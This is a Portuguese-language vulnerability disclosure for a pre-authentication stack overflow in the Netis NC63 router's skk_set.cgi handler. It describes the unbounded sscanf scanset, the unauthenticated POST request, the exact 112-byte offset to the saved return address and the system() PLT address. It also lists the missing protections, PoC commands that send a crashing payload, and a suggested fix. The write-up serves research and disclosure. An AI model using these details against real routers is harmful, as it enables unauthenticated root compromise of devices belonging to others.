
Pesquisa original e PoC não destrutivo para um estouro de buffer de pilha pré-autenticação via scanset ilimitado de sscanf no manipulador ipFilterList do Netis NC63
sscanf %[^,] no handler ipFilterList do skk_set.cgi no Netis NC63Pesquisador: Özcan Ersan (@ozcanpng)
CVE-2026-76071NC63_V3.0.0.3327/bin/netis.cgiPOST /cgi-bin/skk_set.cgiipFilterList=moddestHostsrcHostO parser genérico de MIB/valores no firmware Netis NC63 V3.0.0.3327 analisa o
campo destHost de ipFilterList com dois scansets %[^,], mas sem larguras
máximas de campo. Cada conversão grava em um buffer local de pilha de 16 bytes.
Um cliente HTTP direto pode, portanto, enviar um componente longo sem vírgulas
e sobrescrever os dados de controle salvos da função.
Para o segundo componente de destHost testado dinamicamente, o ra salvo fica
a exatamente 112 bytes do buffer local. O rastreamento via QEMU contra o CGI de
hash original confirmou uma terceira entrada selecionada pelo atacante em
0x0040f7f4. Um teste separado, apenas de observação, redirecionou o retorno
para o caminho original da PLT de system() em 0x00423ab0, preservando os
dados de requisição controlados pelo atacante como o argumento exato a0 do
MIPS. Um /bin/sh protegido registrou o marcador e não executou nenhum comando.
O PoC público contém deliberadamente apenas um padrão excessivamente longo de
B. Ele não inclui o valor privado de transferência de controle nem a
construção de limite de comando.
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792 netis_NC63_V3.0.0.3327.bin
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2 squashfs-root/bin/netis.cgi
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b squashfs-root/bin/boa
e3fd0ee3013014d59b14a409fb4ee5bb546e7d32413758ab3ad4fb0f0d3dcc47 squashfs-root/lib/libapmib.so

O frontend do fornecedor monta srcHost e destHost como três componentes
separados por vírgula e os envia com ipFilterList para
/cgi-bin/skk_set.cgi:
param.destHost = $("#dest_host").val();
param.destHost += "," + $("#dest_ip_1").val();
param.destHost += "," + $("#dest_ip_2").val();
param.ipFilterList = $("#ip_action").val();
request({
url: "/cgi-bin/skk_set.cgi",
data: param
});

A requisição CGI validada com formato HTTP não continha cabeçalho Cookie nem
Authorization. /tmp/boa_auth estava ausente e, ainda assim, a execução
continuou pelo caminho do parser de ipFilterList=mod e destHost. O defeito
de corrupção de memória é o scanset sem largura em FUN_0040f7f4; a falha mais
ampla de autorização do CGI é a condição que expõe este handler privilegiado
antes da autenticação.

Unauthenticated HTTP client
|
| POST /cgi-bin/skk_set.cgi
| ipFilterList=mod
| destHost=1,0.0.0.0,<long comma-free component>
v
FUN_004138a0
v
FUN_004134c8 (ipFilterList trigger row)
v
FUN_00410898(request, "ipFilterList")
v
FUN_0040f7f4(request, trigger, mib_table, pMib)
|
| get_request_param("destHost")
v
sscanf(value, "%d,%[^,],%[^,]", ...)
|
| second destination: char[16]
| no maximum scanset width
v
saved fp overwrite -> saved ra overwrite -> controlled PC
Os metadados originais de libapmib.so mapeiam tanto srcHost quanto
destHost para o tipo 0x0c, que seleciona este caso do parser. A validação
dinâmica foi realizada com destHost; srcHost é incluído como cobertura
estática do mesmo parser, e não como uma alegação dinâmica separada.

Pseudocódigo normalizado derivado do Ghidra:
case 0x0c:
value = get_request_param(request, metadata_name);
sscanf(value,
"%d,%[^,],%[^,]",
&selector,
first_ip_component, /* char[16] */
second_ip_component); /* char[16] */
*(char *)(destination + field_offset) = selector;
inet_aton(first_ip_component, destination + field_offset + 1);
inet_aton(second_ip_component, destination + field_offset + 5);
break;

sscanf() não é intrinsecamente a vulnerabilidade. O defeito é que %[^,]
não possui largura máxima de campo, portanto sscanf não tem como saber que
cada destino tem apenas 16 bytes. Um formato ciente da capacidade usaria uma
largura como %15[^,], verificaria que exatamente três conversões foram
bem-sucedidas e então validaria os valores de endereço analisados. Esta é uma
mitigação de exemplo, não um patch do fornecedor.
FUN_0040f7f4 começa em 0x0040f7f4 e cria um frame de 0x1d0 bytes:
0040f7f4 addiu sp,sp,-0x1d0
0040f7f8 sw ra,0x1cc(sp)
0040f7fc sw fp,0x1c8(sp)
0040f800 sw s0,0x1c4(sp)
Os destinos do tipo 0x0c estão em fp+0x14c e fp+0x15c. O ra salvo está
em fp+0x1cc, o que resulta na distância exata a partir do segundo buffer:
0x1cc - 0x15c = 0x70 = 112 bytes

A prova isolada de PC usou 112 bytes de preenchimento seguidos pelos três bytes
baixos little-endian de 0x0040f7f4; o terminador de sscanf forneceu o
quarto byte zero. O QEMU observou duas entradas comuns do parser seguidas de
uma terceira entrada causada pelo endereço de retorno sobrescrito:
parser_entry_hit=3 pc=0x0040f7f4
GPR28: ... s8 41414141 ra 0040f7f4
total_parser_entry_hits=3
PASS: third parser entry is the overwritten saved RA.

Uma validação privada separada formou o ra salvo como 0x00423ab0, o caminho
da PLT de system() do binário original. Um sufixo controlado de chave de
requisição permaneceu no a0 do MIPS no retorno. O runtime descartável
substituiu /bin/sh por um logger estático:
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_IPFILTER_RCE_PROOF>
CONTROLLED_MARKER_PREFIX_REACHED
PASS: attacker-controlled request data reached system() as exact a0.
PASS: guarded /bin/sh recorded argv and executed no command.
Isso estabelece uma primitiva de RCE no caminho isolado do código de produção. A confiabilidade exata do exploit no roteador físico, o comportamento de randomização do kernel e a exposição padrão à WAN não foram testados.
O netis.cgi testado é byte a byte idêntico ao artefato de produção. Como o
estado de MIB baseado em flash não está disponível no qemu-user, o rootfs
descartável usou uma adequação divulgada apenas para laboratório no
libapmib.so, que alocou estado de MIB zerado e ajustou um alinhamento de
campo empacotado. Isso não alterou o CGI, o parser de requisições, o sscanf
vulnerável, o frame de pilha, o deslocamento do retorno salvo, o epílogo nem o
caminho de system(). Os metadados estáticos vieram do libapmib.so original
do fornecedor.
O executável original tem base fixa, não possui stack canary nem RELRO e possui pilha executável e segmento RWX. Essas propriedades apoiam a análise de explorabilidade, mas não substituem os testes dinâmicos de PC e de limite protegido.

Geração em dry-run do corpo codificado em URL:
python3 poc/poc.py
Envio explícito para um alvo descartável autorizado:
python3 poc/poc.py --target http://192.168.1.1 --send
O script público usa um componente de 115 bytes de B para demonstrar a
condição de estouro. Enviá-lo pode derrubar o processo CGI. Ele não contém
string de comando, shellcode, endereço de retorno para system, reverse shell
nem persistência.
A exploração bem-sucedida pode executar comandos escolhidos pelo atacante no contexto de gerenciamento do roteador. A configuração original do Boa executa o CGI como root. As consequências potenciais incluem divulgação de configuração e segredos do roteador, manipulação de DNS/firewall/roteamento, redirecionamento de tráfego, interrupção de serviço e comprometimento total do dispositivo.
%15[^,] para cada destino de 16 bytes e exija três conversões
bem-sucedidas.%s e %[...] sem
largura.Consulte evidence/README.md. O pseudocódigo normalizado e
as evidências de instruções estão em
attachments/decompiled-functions/.
CVE-2026-76071 e autorizou a divulgação
pública.Nenhum roteador físico foi flashado. Nenhum comando real, shellcode, reverse shell, persistência, conexão de rede externa ou operação destrutiva foi utilizado.